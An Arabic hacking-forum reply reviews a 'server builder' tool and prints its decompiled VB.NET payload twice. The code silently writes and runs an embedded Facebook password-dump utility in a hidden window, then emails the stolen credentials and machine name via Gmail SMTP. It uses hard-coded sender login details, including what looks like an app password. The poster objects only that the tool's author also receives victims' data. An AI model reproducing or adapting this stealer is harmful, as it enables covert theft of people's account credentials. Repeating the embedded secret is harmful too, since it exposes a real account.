وعليكم السلام.. شاكر لك جهدك اخي الكريم لاكن هناك بعض الملاحظات اولا الادة نظيفة لاكن بعد تشغيل انشاء السيرفر و تشغيله ينزل ملفين في جهازي الضحية في المسار ----> C:\Users\ANAS\AppData\Roaming (ANAS)---> اسم المستخدم بأسم res.com fbsm.exe حقيقتا لم اعرف عمل الملف res.com لكن عمل fbsm.exe هو ارسال بيانات الضحية الى الملغم هذا الكود بعد استخراجه كود PHP: Private Shared Sub Run(ByVal email As String) Try Dim folderPath As String = Environment.GetFolderPath(SpecialFolder.ApplicationData) Console.WriteLine(folderPath) Dim res As Byte() = Resources.res File.WriteAllBytes((folderPath & "\res.com"), res) Dim str2 As String = "" Dim str3 As String = (folderPath & "\res.com") Dim process As New Process With { _ .StartInfo = { UseShellExecute:=False, CreateNoWindow:=True, WindowStyle:=ProcessWindowStyle.Hidden, RedirectStandardOutput:=True, RedirectStandardError:=True, FileName:="cmd", Arguments:=("/c " & str3) } _ } process.Start Do While Not process.StandardOutput.EndOfStream str2 = (str2 & process.StandardOutput.ReadToEnd) Loop str2 = str2.Replace("****************************************************************", "").Replace("Facebook Password Dump v3.0 by SecurityXploded", "").Replace("http://securityxploded.com/facebook-password-dump.php", ("********** Machine Name: " & Environment.MachineName & " **********")).Replace("Tip: For more options type FacebookPasswordDump.exe -h", "") Console.WriteLine(str2) Dim message As New MailMessage With { _ .From = New MailAddress("[email protected]") _ } message.To.Add(email) message.Subject = "****** V!RU$ BL4CK v4 ******" message.Body = str2 New SmtpClient("smtp.gmail.com", &H24B) With { _ .Credentials = New NetworkCredential("[email protected]", "otyoeiretjkpwxls"), _ .EnableSsl = True _ }.Send(message) Console.WriteLine("sent") Catch exception As Exception Console.WriteLine(exception.Message) End TryEnd Sub على ما يبدو لي ان البيانات لا تذهب فقط الى الملغم بل تذهب ايضاً الى صاحب البرنامج وهذا امر غير جيد يعتبر اسغلال ! جربت الادة على ايميل وهمي ارسلت الادة الرساله لاكن بدون بيانات الفيسبوك و السبب تصدى الوحش كروم له و هذي التبليغ وصل لدى بدون بيانات
Private Shared Sub Run(ByVal email As String) Try Dim folderPath As String = Environment.GetFolderPath(SpecialFolder.ApplicationData) Console.WriteLine(folderPath) Dim res As Byte() = Resources.res File.WriteAllBytes((folderPath & "\res.com"), res) Dim str2 As String = "" Dim str3 As String = (folderPath & "\res.com") Dim process As New Process With { _ .StartInfo = { UseShellExecute:=False, CreateNoWindow:=True, WindowStyle:=ProcessWindowStyle.Hidden, RedirectStandardOutput:=True, RedirectStandardError:=True, FileName:="cmd", Arguments:=("/c " & str3) } _ } process.Start Do While Not process.StandardOutput.EndOfStream str2 = (str2 & process.StandardOutput.ReadToEnd) Loop str2 = str2.Replace("****************************************************************", "").Replace("Facebook Password Dump v3.0 by SecurityXploded", "").Replace("http://securityxploded.com/facebook-password-dump.php", ("********** Machine Name: " & Environment.MachineName & " **********")).Replace("Tip: For more options type FacebookPasswordDump.exe -h", "") Console.WriteLine(str2) Dim message As New MailMessage With { _ .From = New MailAddress("[email protected]") _ } message.To.Add(email) message.Subject = "****** V!RU$ BL4CK v4 ******" message.Body = str2 New SmtpClient("smtp.gmail.com", &H24B) With { _ .Credentials = New NetworkCredential("[email protected]", "otyoeiretjkpwxls"), _ .EnableSsl = True _ }.Send(message) Console.WriteLine("sent") Catch exception As Exception Console.WriteLine(exception.Message) End TryEnd Sub
لا إلــه إلا الله محمــد رســول الله *************************
عرض سحابة الكلمة الدلالية
قوانين المنتدى